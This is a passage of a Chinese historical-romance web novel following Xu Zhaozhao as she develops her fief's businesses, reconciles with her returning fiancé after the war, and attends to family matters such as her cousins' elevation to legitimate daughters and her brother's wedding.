“倒是还不错。除了玉器铺子之外,其它的两处铺面让人收拾一下,也开张吧。酒楼的位置在何处?” 许川看了一眼地契,随口报出街名来。 还是蓝田县最繁华的地段呢。 在这里开酒楼,的确是很有眼光。 周家人虽然混帐,但不得不说,这经商的脑子真不错。 “酒楼继续开吧,我这里有几张新菜的方子,你安排人去试试,酒楼的掌柜和账房先生你找严叔商量一下人选。但凡是我的产业,就从咱们庄子上选人用。” “好,明白。” 许川转身欲走,又被许昭昭叫住。 “堂兄,蓝田县这里日后的产业会越来越多,我可能需要不定期安排账房先生来查账,等回去后,你和高叔商量一下,看看怎么查账更合适。” “好,回去我就和高叔说。” 许川在算账方面,明显比其它人更有优势,所以许昭昭打算把他当成了财务总监来培养的。 而且他还是自己人,必然是能压得住底下一些不老实的管事。 许昭昭名下的产业再多,也没打算亲自去管。 不过,京城的部分产业,还是可以在这里复刻的。 比如说:香飘飘! 香飘飘因为是卤味或者是油炸的,自然是香气四溢,有些人也学着开类似的铺面,但味道上始终差了一层。 如今香飘飘在蓝田县也要开张了,自然是引得不少当地的富户们跃跃欲试。 有口福了呀! 两天后,蓝田县令带着县丞方有为和县尉都过来请安了。 许昭昭的封地在蓝田县,但是不代表了蓝田所有的收益都是许昭昭的。 但是蓝田县有许昭昭这么一位县主在,那地位一下子就上去了。 这也算是有靠山的地方了,自然不同。 而且这才几个月的功夫,这山庄已经有模有样了,虽然还没有完全建成,但是织坊是第一步建起来的,现在的布匹产量也不低,而且听说县主还有意将部分万年县的产业挪到这里来,那自然是更要过来表示一下了。 “正好,你们不来,我也想着去请几位过来商议一些事情的。” 许昭昭让许川将之前抄录好的东西给三位大人递过去看。 县令先看完的,一脸激动:“县主,这上面所写都是真的?” 方有为还等着呢,干脆自己上手抢过来看了。 县令也没理他,只是两只眼睛跟冒金光一样的看着许昭昭。 等到三位大人都看完,许昭昭这才让许川做一个简单的解说。 “我们县主的意思是要先修路,云栖山庄距离县城大概十里地左右,路不好走,所以我们县主已经计划安排人修路了,这部分的费用,我们县主的意思是她与贵县各承担五成,不知县尊大人以为如何?” 县令点头:“可行!” “那好,接下来便是我们县主打算在云栖山庄外围,也就是这个位置,要建两座工坊,其中一座为酿酒坊,还有一座为染坊。这两座工坊中间相隔大约一里地,中间的位置,县主的意思是要规划成一些铺面,当然,这个不急,具体的贵县可以再商议。” 毕竟这里的土地已经不属于县主了,而是归朝廷所有。 县令没有什么意见:“这两处工坊没问题,本官回去后就可以直接批复。” “多谢大人。除此之外,我们县主的三哥正在研究提升粮食的增产之法,县主已经与三公子商议好了,届时将会在蓝田县弄一个试点出来。云栖山庄自然在内,其它地方,就看县令的安排了。” 县令大喜,这可是天大的好事呀。 虽说这粮食增产之法不是他想出来的,但是这试点在蓝田县呀。 若是真能做成,这政绩不就来了? “多谢县主仁义!” 许昭昭微微勾唇,粮食增产一事定然是没有问题的,从育种开始,一直到后面,步步都按她写的法子来办,至少可以让每亩田地增产一斗到两斗。 这绝对是一件大功劳了! 许昭昭看过,普通田地,一亩的产量大约就是一石,而肥沃的土地,也就是上等田,能产到三石。 所以,关键在于养田。 许昭昭是不可能做出化肥来的,但是一些土肥的法子,她已经给到许君霆了,再加上更为科学的种植养护,必然会有效果。 第271章 吃醋 古代农事,最主要的还是一个水源问题。 这也是为何南方的粮食产量会比北方高这么多的主要原因了。 北方旱地较多,而玉米的出现,也可以说是大大地缓解了粮食紧张的问题。 按正常轮作,就是收完小麦之后,可以种植玉米,等到八九月时,再收玉米,之后深耕田地,再种冬小麦。 如此,也算是一年两季。 许昭昭现在其实更想把土豆之类的东西种出来,但是奈何一直没有种子呀。 还得等。 知足吧。 现在有棉花有玉米,已经好很多了,再想要其它的种子,就只能是指望着去往西域的那些商队了。 许昭昭这两年也跟商队说了不少次想要种子或者是植物,收获也有,但是关于农作物的很少,和药材、花卉有关的倒是不少。 没办法,只能继续等了。 云栖山庄通往蓝田县县城的这条路还没有完全修好,北方战场上就传回来了好消息。 突厥战败! 现在已经递降书了。 但是许昭昭知道,就算是签了所谓的和平协议,估计也太平不了几年。 非我族类,其心必异! 这可不是说说而已。 许昭昭还是很高兴,因为一旦停战,就意味着父兄要回来了。 现在都已经是八月初了,也不知道谢铮什么时候回来。 幸好两人的婚期还未曾定下,只是提前选出来了三个日子,因为年前谢铮就收到了消息,所以也担心到时候自己去战场了,回不来,那才要糟。 因为两家的特意保密,所以,选出来的三个吉日,已经错过一个。 许君霆和李明雅的婚期也将至,得知我军大胜,王若兰更是高兴得大发赏钱。 她也盼着许翰能赶上儿子的大喜日子呀。 许昭昭住在云栖山庄,与她同住在这里的,还有许君霆,理由也很正当,因为这里是他正在操心的农事试点。 如果只让许昭昭一人住在这里,虽然是有护卫有随从,但许家人还是不放心。 许君霆虽然不及许君锋勇猛,但好歹也是习过君子六艺的,尤其是自小也被父亲逼着练过武,所以武力值还是有的。 许昭昭得知大军即将凯旋,自然欢喜。 但是今天她收到了二哥写给她的信。 谁能想到,在战场上,谢铮还能招惹到烂桃花? 许昭昭看完信之后,整个人的心情都有几分阴郁。 剑九和麦冬二人相视一眼,总觉得这位许二公子的信上没写什么好东西。 会不会在暗戳戳地说他们主子的坏话呢? “丁香在不在里面?” 剑九无声询问,还配合着手势。 麦冬摇头,压低了嗓门儿:“小姐今天看完信后,心情就一直很低迷。我看十有八九是与少将军有关。” “那怎么办?”剑九仍然无声问道。 麦冬翻个白眼儿:“小姐不会武,没有内力,你可以正常说话,只要声音别那么高就行。” 剑九这才哦了一声,又快速地看一眼屋门,然后伸着脖子:“咱们要不要先给少将军送个信?” “怎么送?真要送信,咱们说什么?什么都不知道,你跟着添什么乱呀!” 剑九也恼了:“你知道!那你咋不进屋问问呢?” 麦冬瞪他:“你想死吗?那是少夫人的闺房,这会儿深更半夜的,你让我进去?咱们俩是有多大的仇,你这么害我?” 剑九心虚地摸摸鼻子:“不好意思,一时忘了。” 麦冬重重地哼了一声,然后再瞪他一眼:“还是想法子看看能不能打听出什么来。” 话音未落,两人同时脸色一凛,嗖一下子就往屋顶上冲。 两人刚要抽刀拔剑,看清楚来人之后,又同时堪堪收回动作,然后对视一眼,十分认命地再次落回到地面上。 这一次,两人一个守门,一个守窗,十分自觉。 天知道他们俩刚刚看到来人时,那眼底的震惊是有多么强烈。 这才收到消息几天呀,少将军就这么一路狂奔回来了? 也不知道,这算不算是违反军纪! 许昭昭正在屋里盘算呢,这次的事情要怎么做才能彻底绝了那朵桃花的心思,同时还不能引起圣上的反感。 听到动静,许昭昭倒是没有害怕,因为她从身边的兰花上感知到了来人的身份。 “好大的胆子!胆敢擅闯县主的住处,我看你是不要命了!” 谢铮可没有蒙面,此时的他一身夜行衣,也不知他身上的戎装脱去何处了。 “昭昭!” 一去大半年,谢铮的皮肤黑了,明显也瘦了,不知道过个冬能不能把皮肤的颜色养回来一些。 “谢少将军,夜闯县主闺房,你是真以为自己命大呀!” 谢铮的眼神微闪一下,大概能猜出来小媳妇为什么会用这种态度跟他说话。 “昭昭,你是收到二哥的信了吧?我是冤枉的,我跟那个莎娜一直都有保持距离,我甚至不曾单独跟她见过面!” 许昭昭挑眉,不讲理的样子演绎得淋漓尽致。 “你还想跟她单独私会?好呀!少将军不知男女有别吗?少将军可还记得你是有未婚妻的人?那草原上的明珠就这般耀眼,让你忘了自己的本分?” 谢铮一噎,小媳妇一下子怎么变得这么难缠了? 这要怎么哄? 谢铮站在原地,好半天没反应。 许昭昭眼底闪过一抹得意,小样,跟我斗,能把你给玩傻了! 谢铮呆了有一会儿,然后才急忙从自己怀里掏呀掏的。 很快,就掏出来一大堆的珠宝首饰。 因为嫌碍事,所以连个盒子都没有,是直接就把这些东西藏在自己胸口了。 这也真是个不讲究的。 许昭昭看到这一幕,嘴角直抽抽。 尤其是那一大长串的珍珠首饰被他不小心掉在地上后,更觉得这东西她就算是收了也绝对不能戴,太埋汰了! “昭昭,我特意给你带的。对了,先前的那些牛羊怎么样?我给你找的种子呢?能不能用得上?” 许昭昭眼皮一翻,狗男人,竟然还会转移话题了? 哼,也得看她愿不愿意! “少将军不是也将草原上的明珠带回来了吗?我觉得她的用处应该是最大的,少将军以为呢?” 第272章 婚事 草原上的明珠? 谢铮要是再听不出来是怎么回事,那就太蠢了。 一定是许君锋那个狗日的在背后说他坏话了。 等着,饶不了他! “昭昭,你别听他们瞎说,我真没有!那个叫莎娜的是苏哈乐部落酋长的女儿,我和许君锋先他们打败后,直袭其营帐,最后苏哈尔部落没办法了,又只能投降,然后领着我们找到了最近的两个部落。 要是这么说的话,他们也算是戴罪立功了。但跟我可没关系!我就只是上阵冲锋,至于那个是不是草原明珠,我是真不知道。反正我见过那个莎娜几次,长的有点儿黑,具体样貌,我真没看清。” “是吗?不知道少将军想怎么看清楚呀?是二人同帐共话,还是同桌对饮,又或是” 话没说完呢,许昭昭就被冲上前来的谢铮给一把抱住了。 这也就是许昭昭知道他对自己无害,要不然说什么也得把给他弄晕。 许昭昭的话被打断,心中窝火,抬头就要再继续教训他时,嘴巴就被堵住了。 许昭昭人都吓傻了。 这是什么骚操作? 而谢铮则是满意了。 早就想尝一尝这能言善辩的小嘴是什么味道了。 可算是如愿了! 许昭昭的眼睛还瞪得老大,谢铮强迫自己与她分开不足半寸,然后十分强势:“闭眼!” 许昭昭似乎是麻了,然后就果真闭眼了。 谢铮满意了,这才有小媳妇的样子嘛。 随后,立马又亲上去了。 等到许昭昭意识到这个狗男人对自己做了什么之后,便想挣脱他的禁锢,却发现没有什么力气了。 “你对我做了什么?” 谢铮扑哧一笑,然后怀抱微松了一些,免得小媳妇恼羞成怒再把他赶出去。 “昭昭,我想亲你很久了。这次回来我们马上成婚,我真是一刻也等不及了。” 许昭昭瞪他:“你急什么?我三哥还没成亲呢!” “这不是都回来了嘛。要不咱们同一天成亲?” 这主意倒是不错,但许昭昭只觉得他在做梦! 一个是国公府世子,一个是侯府二公子,这要是同一天成亲,满朝文武百官们去哪家吃喜酒? 好像是只去哪家都不合适! 谢铮抱着她又说了好一会儿的好话,这才把人哄住。 “这些东西只是冰山一角,我缴获的东西可太多了,等回头都拿给你管着。” “走开!谁要管!” 谢铮看着她羞红的脸,只觉得小媳妇怎么看怎么那么好看! “好了,赶紧走吧,你这擅离队伍,小心被治罪。” 谢铮嘿嘿一笑,又在她脸上香了一口,这才跑掉。 许昭昭拿手帕蹭了一下脸,低声骂道:“狗男人!” 脸上一抹红,却是怎么也擦不掉。 谢铮和许君锋这一次可以说是大出风头! 当然,不止是他俩,还有崔玄明、方大壮、方亮等人,但凡是去了的,这次都有功劳可领。 圣上对于嘉奖也十分大方,该封爵的封爵,该赏钱的赏钱。 许君锋因为是家中次子,这次也的的确确是立下大功,所以圣上也不小气,直接封了他一个男爵! 这下子,侯府下一代中,可以说是人人都是爵爷了。 方大壮散了朝,乐得嘴角都要裂到耳根子后头去了。 “侯爷,俺就说吧,还得是打仗才有功劳可领。这下子俺不担心了,大郎是个能打仗的,以后他的功勋就靠自己去挣,让那些个没本事的鸟人嫉妒去吧!” 方大壮口中的大郎,就是这次跟在许君锋身边立下功劳的方亮。 这次出征时,方亮还只是一个大头兵,因为被许君锋选在身边当亲兵,所以降服三大部落时,方亮斩杀敌人过百,而且还斩杀了对方的两员大将,也因此这次的功劳簿上自然也有他的名字。 方亮有功,许君锋又力荐,圣上自然就会施恩。 方亮被封正六品上昭武校尉,同时,还给了他一个从五品下的勋位:游击将军! 乍一听感觉品级不高,但问题是方亮现在还年轻呀。 方亮才十几岁,就已经立下这样的功劳,日后再上战场,再勇武一些,定然还会再升职。 武将嘛,都是靠着斩杀敌人来立功呢。 当初方大壮把自己的妻儿老小接到京城时,不少人等着看他的笑话呢。 方大壮就是一个粗人,被许翰念叨好几次,也不肯静下心来读书,就只是靠蛮力。 所以当时京中不少权贵都看不上方大壮这一家子,总觉得他们家就是大老粗,日后儿孙们没有功劳立下,那方家顶多就是兴盛方大壮这一代。 方大壮又无爵位,所以他要是没了,那方家就彻底地沦为平民了。 正是因为如此,所以这两年方大壮的妻子范氏给方亮相看姑娘时,那些好人家的姑娘都是避之不及。 倒是侯府二房那边,早在去年就露出有意结亲的打算。 侯府没分家,二房的意思,也就是侯爷的意思。 虽然许婉婉是庶女,但因为许家的姑娘们少,嫡出的两位姑娘,一个早早嫁人了,还有一个则是与谢三郎定亲了,且范氏与许侯府走的近,也知道许家的这两位庶女一直也是由主母养着的,方方面面,他们还是觉得都不错。 如今方亮立下功劳,许婷婷和许婉婉姐妹二人也到了议亲的年纪,所以许翰就把弟弟许文叫去书房说话了。 “她们二人的婚事,最快也得是明年,你膝下总共就三个女儿,这两个虽是庶出,但一直都是被弟妹亲自教养长大的。婷婷被许给了付沛,婉婉有可能要嫁入方家,而且还是嫡长子。你是如何打算的?” 许文一听就明白大哥的意思了。 这一点,他以前还真没想过。 倒是许婷婷和付沛定下亲事时,妻子李氏提过一嘴,觉得让一位状元郎娶庶女,好像是折辱了这位状元郎,文人重名,一身风骨,又担心日后再因此而生怨。 “兄长的意思,是要让她二人以嫡女的身份出嫁?” “这要看你们夫妻俩的意思,若是从大局看,自然是嫡女的身份最好。但这一切都得以你和弟妹的态度为主,若弟妹不愿,此事就当我从未提过,你也不可因此对弟妹心生怨怼。” 第273章 心疼 许文回去后和李氏提及此事,原本心中还有几分忐忑,担心妻子再因此与他生气,不料,李氏竟是眼都不眨一下便同意了。 “夫人所言为真?” 李氏笑道:“这有什么真的假的!她姐妹二人虽然不是我亲生的,但是多年来一直由我抚养,如今记在我这个嫡母的名下,既能让她们的婚事更顺遂一些,也能让夫家更看重她们几分。夫君这般吃惊,是以为我不会答应?” 许文讪笑两声:“倒不是这个。主要是我自己心虚,大哥今日还特意嘱咐我,一切以你的意思为主,若是你不答应,我不可逼迫,不可怨怼。” 李氏眼底的欢喜更浓重一些:“大哥果然是大哥,他敬重大嫂,也喜欢昭昭,你看他对府中的女眷向来优待。外人只道大哥惧内,实际上,天下不知道多少女子都在羡慕大嫂。” 许文深以为然。 想到当初若非是因为母亲强塞人,李氏又故作大度,那他现在只怕也没有这几个庶子女的出生了。 “是呀,咱们许家人丁简单,所以这争执就少。正是因为如此,家宅才会一片平和。” “夫君说的是。回头还是请大哥主持,再请几位族老过来做个见证,将这姐妹二人都记为嫡女吧。日后她们能嫁个好人家,到婆家不被搓磨,也算是我这个做母亲的尽力了。” “好。” 另一边,王若兰看到许翰身上的伤,一个没忍住,这眼泪哗哗地往下掉。 许翰背对着她,看不到,但是从声音上也能判断出来,妻子定然是心疼他了。 “我没事。这都是小伤,倒是三郎和君锋之前受伤不轻,好在有咱们昭昭送去的药,那效果是真好。两人就只是有一晚发热,之后退下去,人也就痊愈得更快了。” 说到这些,许翰心头的表达欲上来,就想要和妻子多分享一些,结果他刚有转身的动作,就被王若兰一巴掌拍在肩膀上。 “转回去!药还没上完呢。” 许翰又不说话了。 他身上的箭伤是最后一役时被人偷袭才中的。 不过因为穿了盔甲,所以伤的并不重,伤口不深,而且又因为及时用药,并未恶化。 许翰暗道自己倒霉,那几个混小子都是在打仗前期受的伤,如今大军回朝,他们都痊愈了,个个活蹦乱跳的,偏他是最后一役受了箭伤,如今还惹得妻子伤心难过,当真是可气! 早知道,他就先上战场,最后干脆让别人上了。 有钱难买早知道呀! 许翰也就是现在心里这么想想而已,真上了战场,哪里还顾得上这些? 许翰是个天生打仗的料子,一上战场,恨不能把敌人都杀绝了。 那会儿就怕就被小崽子们把功劳都抢了,所以他一直憋着劲儿上战场呢。 好在,总算是捞着了几次上阵杀敌的机会,就他的顶头上司,那个行军大总管陆晋,前后半年,总共就上了两次战场,可把他给气得直跺脚。 那谁让他是大总管呢,他就得坐镇指挥。 还是许翰自己聪明,找个由头就跑去接应了,把陆晋气得一个劲儿骂他是兵痞子。 许翰可不管这个,反正说啥也不能当个吉祥物镇场子,哪有上阵杀敌爽快! 结果他是爽快了,便是陆晋就只能是一刻也离不得大帐,气得他逮到许翰就开揍。 许翰并不是真的打不过陆晋,只是因为陆晋比他大,而且年轻的时候没少让人家帮忙收拾烂摊子,再加上反正自己也过了瘾,干脆就让他打几下解解气算了。 陆晋也没办法,身边有这么一个副手,也是既气又无奈。 还能怎么着? 陆晋虽然打他,但是上折子的时候,一句坏话也没提他。 这就是真兄弟。 等许翰身上的药抹完了,王若兰就让他在原地趴着别动,得等这药膏干了才行。 一个趴着,一个在一旁坐着做女红,两人偶尔说上几句话,说着说着,许翰就睡着了。 等人睡着,王若兰这才叹口气,然后被子给他盖好,再轻手轻脚地离开。 亲闺女可是说了,许翰虽然没有什么大伤,但毕竟是年岁摆在这里,上战场一次耗费的心神可不少,回来后得让他好好养养,要不然,等年纪大了有他受罪的时候。 范氏这边是事事都听王若兰的。 起初是因为她觉得王若兰啥都懂,跟着她学准没错。 到后来又借着许昭昭这边的光,也跟着挣了些银钱,如今手上也能攒下银子了,就更是对侯府这边感激,无数次地庆幸当初没有跟错人。 现在大儿子有官职了,所以也就不需要老爷再为其奔走,接下来就是其它儿女的事了。 范氏现在是不着急了,只要大儿子这里立住了,最起码他们一家子人以后能继续在京城立足。 方大壮这次官升一级,最主要的是得了不少赏赐。 宫里人把东西送来后,范氏亲手给了赏钱,这才安排人一样样地对。 “这些丝帛是真不错,平时我可舍不得买,先收起来,等回头给儿子当聘礼用。” “是,夫人。” “慢着!” 方大壮和方亮都去外头吃酒了,好不容易回来,少不得一些宴请得出面。 家里自然就是范氏做主。 但宋氏不乐意了。 宋氏就是当初方大壮在京城纳的小妾,是宋将军家的庶女。 这一次出征,宋氏的父兄都没有被安排差事,所以这次的功劳自然也跟宋家无缘。 宋氏看到这个嫡长子竟然全须全尾地回来了,本来就有气,这会儿看到这么多的赏赐,竟然还想着都给那个长子当聘礼,哪有这样的好事? “姐姐,这些东西可都是圣上赏下来的,是冲着老爷的功劳来的。你怎么能说都给大公子留着呢?我也是府里头的主子,我还不能要几匹丝帛了?” 范氏脸色淡淡地:“你能不能用,等晚些老爷回来了我自会请示。眼下,这些东西都是要收入公中库房的,你若是觉得我这个做正妻的苛待了你,不如就回宋家告一状好了。” 宋氏脸色骤变:“你!” 第274章 改成嫡女了 范氏这话可是把宋姨娘给挤兑得够呛! 谁不知道当初范氏带着一家子人过来团聚后,这个宋姨娘总仗着娘家在京城,三不五时地回去告状,好让自己家父亲来为难方大壮? 可现在呢? 方大壮再升一级,如今的方大壮,可不是十年前了。 现在方大壮和宋将军虽然官职上可能差了一级,但是明眼人都知道,方大壮才是真正入了圣眼的,而宋将军,这都几年了,一直没有上战场的机会,年轻一代里头,可没有什么立功的机会了。 文不成,武不就,便是如今宋家的光景。 范氏翻个白眼儿,理都不理她,一个眼神,底下人就开始搬东西了。 这几年范氏身上的正妻气势可是越来越足,不仅仅是因为她不再委屈自己,愿意穿金戴银了,更重要的是,她儿子争气,这就是她最大的底气! 宋姨娘还想着弄到自己院子里去呢,再怎么说她也是给方大壮生了儿子的,结果没想到,范氏现在竟是一点儿脸面也不给她留。 “你,你别太过分!” 范氏扭头,边走边说:“不过是一个小妾,哪里来这样大的胆子与主母如此说话?再有下次,别怪我好好教教你规矩!” 宋姨娘脸色一白,她也知道自己现在不过是一个妾室的身份,以前不过是仗着这个范氏是个土老冒,什么也不懂,所以才会算计范氏。 可是这几年眼见着范氏宛若是脱胎换骨一般,宋姨娘心中怎能不恨? 都怪那个王若兰! 若不是她多管闲事,横插一杠子,这方府定然还是自己说了算的! 刚成婚那会儿,宋姨娘的确是方府的主母,样样都要过问她才行。 可是后来范氏带着孩子上京,方大壮又是一个不愿意抛弃糟糠妻的,所以这形势竟是慢慢地失了掌控。 尤其是范氏入了王若兰的眼之后,不仅教她一些规矩,甚至还教了她一些主母管理内宅的手段。 这才多长时间,方府已经没有她说话的份儿了。 宋姨娘心里头那叫一个气呀! 可是她也就只能是私底下骂骂人,她连随意出内宅的资格都没有,更没有去见一见侯府夫人的机会。 另一边的安信侯府内,可以说是喜气洋洋。 正式上了祖谱,所以许婷婷和许婉婉这二人就都是嫡女了。 其实,很多人家都知道许婷婷和许婉婉是庶女,但是见她们经常跟在李氏身边,且时常还会被许昭昭这个正经的侯府千金带着,所以都以为她们姐妹二人是被记为嫡出的,也因此,从未对二人的身份生疑,看在许氏家族的面子上,也对二人多有敬重。 这不是误打误撞了嘛。 现在许婷婷和许婉婉都被记为嫡女,这日后的吃穿用度会更上一个层次,但最主要的,还是日后出嫁上最能显现出来。 一般人家,嫡庶出嫁都十分分明。 像是许家这样的权贵之家,那就更是严谨了。 尤其是有些陪嫁品,按规制,庶女都是不允许有的。 但若是嫡女,那就没有什么忌讳了。 大兴朝女子的地位还算是可以,在娘家若是受重视,先不说有多少抬嫁妆,但是小到一碗一碟,大到跋步床、棺材等等,都会一应置办齐全。 嫡庶的差别,在这方面就会表现得很明显。 正是因为女子出嫁要备的嫁妆多,所以很多大户人家,是从姑娘一出生开始,家人就会帮着攒嫁妆的。 许昭昭的嫁妆,就是从小开始攒的。 许翰和王若兰这对夫妻,但凡是看到什么稀罕东西,都想着留给女儿当嫁妆,这一攒,就攒了几个小库房。 许婷婷和许婉婉的嫁妆虽然没有那么夸张,但李氏是个心善又性子宽和的,所以这几年也一直在给这姐妹二人攒嫁妆,只不过东西的档次上,不能跟许昭昭比就是了。 许婷婷和许婉婉都成了二房嫡女这件事,并没有引起什么轩然大波,毕竟很多人家早就以为她们姐妹二人是被李氏记在名下养的,而付沛和方亮得知此事后,还凑到一起商量一下,都给李氏和许文送上了一份礼物。 当然,也都各自给婚约对象准备了一份薄礼。 二人还是分得清轻重的,给岳母的礼是最重的。 不得不说,这两人倒是很有眼色。 紫园,许昭昭正在和二嫂一起赏花品茶,日子过得那叫一个悠闲。 “昭昭,你觉得你三哥和付大人哪位更有手段一些?” 许昭昭摇头:“不好说。” 安和县主歪头看她:“怎么?跟我还藏着掖着了?” 许昭昭轻笑:“那倒不是。要单纯论心机,我三哥未必是付大人的对手。但若是谈及综合实力,我三哥则是优于付大人,所以我才说不好下结论。” “综合实力?” 安和县主有些疑惑,这又是什么意思? “就是方方面面都加起来,比如说学识、人脉、能力、人缘、名声等等,这些都加到一起来评判的话,我三哥实力略胜一筹。” 安和县主思索大约有几息的功夫后,也是微微点头,这么说,倒是没有错。 “还是你看得更全面一些。” 许昭昭笑而不语,其实不仅她这么想,只怕是官场上的那些老油条们,也是这么想的。 安和县主看着这位小姑子,只觉得自己好像是从未真正的了解过她。 就拿这次二房两个庶出姑娘一事,安和县主就觉得许昭昭看事情长远。 她也是无意中才得知,提出来将这两位堂妹记在主母名下,是许昭昭建议的。 而公婆也是在认真考虑之后,觉得记为嫡女的优势更为明显,所以这才会跟二房提了一句。 没想到,竟然这么容易就办妥了。 安和县主原以为二房会大闹一场的。 毕竟二婶李氏虽然是看起来和气,但毕竟是庶女改嫡女,这还是有些差别的。 但是没想到,她竟然真的同意了。 这就不得不承认,李氏是真正的大度呀。 安和县主从小到大,见过的各类自私自利、贪念不止的人多了,但她真的没想到,两个庶女改为嫡女,竟然会这般容易。 这真是她生平仅见! 第275章 成亲 事实上,也不是许昭昭看得长远,实在是因为她知道日后付沛的前途有多远大,所以才会想到要给堂妹抬一抬身份。 既然是抬了,那就不能只抬一个人的,另一个也就干脆一起抬了吧。 而且,如果许昭昭没记错的话,原书中,许氏一族获罪,许家的这两个堂妹下场也并不好,但即便是她们沦为了贱籍,后来在有机会之后,也是出手帮了大哥家的孩子。 总之,就是这两个堂妹不算是恶人,可以说她们没有能力,但是绝对不能说人家是坏人。 如今,许昭昭把能做的都做了,余下的,就看她们自己的造化了。 至少,许昭昭觉得付沛不是一个贪慕女色之人,否则上辈子也不可能一直不曾娶妻。 这辈子有了许婷婷这么一个美丽又贤慧的妻子,估计更不会有旁的心思。 至于方亮,许昭昭对此人并不了解,但是她依稀记得许家获罪后,方大壮是真的为许家求过情、喊过冤的。 想来,许婉婉若是能嫁入方家,也算不错。 “小姐,世子夫人喊二少夫人过去帮忙呢,还说若是小姐再将人拐到紫园来,便要您也去帮忙。” 许昭昭一听就头疼,立马扶着额头,闭上眼:“二嫂快走吧,我可说什么也不能去。我一看到那些册子就头疼,不行不行,光是想想,现在已经头疼了。” 安和县主岂能不知道她故意作怪? “行了,大嫂又没来,你不必如此。罢了,我过去看看。三弟的婚期将至,也的确是该忙碌起来。” 自打许君锋回来后,安和县主便又恢复了早先的开朗和活泼。 许昭昭见她走了,这才轻叹一声,然后直接进屋歪在榻上,说什么也不肯起来了。 府中张罗许君霆的婚事,大到屋里的家具摆设,小到婚礼那日要用的碗碟等等,那可真是要准备得太多了。 光是宴客用的餐具怕是就得有好几箱子了。 许昭昭主动提出来,酒水由她这里出,余下的事情,她可是说什么也不肯管的。 王若兰也不为难她:“成婚那日,你要留在喜房里陪着你三嫂说话,也记得让她吃些东西,别饿着就行。” “知道了,母亲。” 转眼,就到了许君霆迎亲的日子。 婚事的大部分东西都是早就准备好的,若不是因为许翰出征,这婚事早就办了。 如今一家子人团团圆圆,这喜事自然也更是上心。 拜过堂之后,许君霆就要先送妻子到洞房,然后掀盖头等一系列的流程。 等到许君霆最终和新娘子两两对望时,恨不能直接倒在床上,不出去敬酒了。 后来有喜婆连恭喜带喊的,夫妻二人喝了交杯酒,又结发后,一切算是完成了。 可许君霆不想走,这么美的妻子就是他的了,哪还有心思再出去宴客? 还是有大嫂派人来催,许君霆这才恋恋不舍地出门了。 安和县主和张氏都一起在外面帮着婆母待客,许昭昭带着两位堂妹,就留在这里陪嫂嫂。 李明雅的妆容很艳丽,如今许君霆掀了盖头,也与她见了面,所以接下来便要趁着许君霆未归,要将这繁重的头饰给除下,然后要静面等等。 等到这一切都做完,李明雅只觉得腹中空空,还有些腿软了。 “嫂嫂,快吃一碗燕窝粥吧。” 许昭昭这一声嫂嫂,叫得李明雅脸色一红。 一碗粥下肚,总算是不那么难受了。 几人原本就熟识,这会儿一起吃了东西,也不再拘着,很快就说笑到一处。 看着时辰差不多了,许昭昭见到三哥被一位嬷嬷搀扶着进来,就知道她们应该离开了。 许君霆也不是真的醉了,不过是装的,好回来洞房。 许昭昭刚要上前说话,李明雅的一个陪嫁丫头竟然主动上前扶住,边扶边道:“姑爷,您没事吧?奴婢已经派人准备好热水了。” 许昭昭皱眉,许婷婷和许婉婉也是面面相觑,怎么一个丫头突然就出来说话了? 李明雅的脸色也跟着微变,还未出声斥责,许君霆就直接甩开了对方。 “出去!” 这话自然是对着那名丫环说的。 许昭昭挑眉,看来三哥是真的没醉。 “三哥,妹妹在此恭喜您和三嫂了,既然你回来了,那我们姐妹便先告辞了。” 许婷婷和许婉婉也都跟着施礼后一起离开。 至于先前的那个丫环,则是被许昭昭一个眼神,就让人带下去了。 许君霆看到下人把门窗关好,表情这才缓和几分,大步来到李明雅身前:“可用了些东西?” 李明雅害羞地点点头:“昭昭妹妹让人给我准备了燕窝粥。” “那就好,现在还饿吗?要不要再用些?” 李明雅摇头,出门前母亲交待过的,不能吃太多东西。 “我,妾帮您更衣。” 许君霆笑了,一把攥住她的手:“娘子的手太小了,要不,还是为夫来帮娘子更衣吧!” 洞房花烛,这一晚的红烛是不许吹灭的。 春宵帐暖,许君霆可算是过瘾了。 次日,二人再去给公婆敬酒,李明雅自然也给府上的人都准备了见面礼。 许昭昭还笑着揶揄了一句:“三嫂嫂,我三哥可是个手松的,日后你定要将他管严一些,省得他在外败家!” 许君霆瞪眼:“昭昭,我可没惹你,你少抹黑我!” 他这反应,把一屋子人都给逗乐了。 许君霆这才反应过来,自己被妹妹给调侃了。 抬手虚指一下,小小的威胁一把,结果狠话还没放出来,先被张氏给喝斥两声。 “行了,你是她三哥,逗趣几句你还当真了。我瞧着倒不如三弟妹明事理呢。” 这就是妥妥的在帮着李明雅做脸了。 李明雅再笨,也知道长嫂是在为自己说话,连忙拉住许君霆的衣袖:“夫君,昭昭妹妹也是为了咱们好。” 她这小动作一出来,一屋子人笑得更大声了。 此时李明雅才意识到自己刚刚做了什么,脸蹭地一下子就红到耳根了。 笑归笑,闹归闹,大喜的日子,应该高兴,但是有些个不长眼的东西,还是得处置了。 第276章 她是善,不是蠢! 许君霆的官职虽然不算太高,但是他身上有爵位,所以李明雅也就理所当然地成了爵夫人。 许昭昭没有特意提及昨晚的那件事,但李明雅心中还是有数的。 回到院子,许君霆只陪她说了几句话后就去书房了。 他虽然有婚假,但是他现在主要还要盯着那些农作物呢,可不敢大意。 而且他们现在住的院子里就特意辟出来了几小块的试验田,分别种着不同的作物,这都是他下令专门有人守着的,可不允许有人搞破坏。 侯府的人也都知道这与他的差事有关,自然不会上去找不痛快。 他一走,李明雅又回榻上躺了一刻钟,这才缓过来,然后让人把昨晚上突然站出来的丫环给叫进来。 “你是我母亲选的陪嫁,你的卖身契也都在我手上,现在就只问你一句,昨晚之事,究竟是你自己的意思,还是有人在幕后给你出主意呢?” 丫环被吓得脸色苍白,不回答主子的话,只是一味磕头认错。 李明雅起初不明白她这么做的用意,待到许君霆进来后,她便一瞬间想通了。 这是想要在夫君面前露脸呢? 李明雅恨不能即刻将这个小贱人给杖杀了。 但她不能。 毕竟是新婚次日,哪能真地见血腥。 “夫君不是说要在书房做事吗?” “嗯,有份手扎落在这里了,我得取。” “好。” 李明雅跟着他一起进了里间儿,外面的这位还在不停地求饶,那凄惨绝望的模样,好像是李明雅做了什么天怒人怨之事。 李明雅听着外面的动静,心里咯噔一下子,就担心再引来夫君的不满。 果然,刚刚走到厅堂内,许君霆就皱起眉头来。 他转身看向李明雅:“这是你的陪嫁?” “正是。是妾管教不力,扰了夫君的清静。” 许君霆闻言点头:“既是扰了清静,那就赶出去便是,你是堂堂主母,怎么还能容得下人这般放肆!” 一席话,分明就是站在了李明雅的角度上说的。 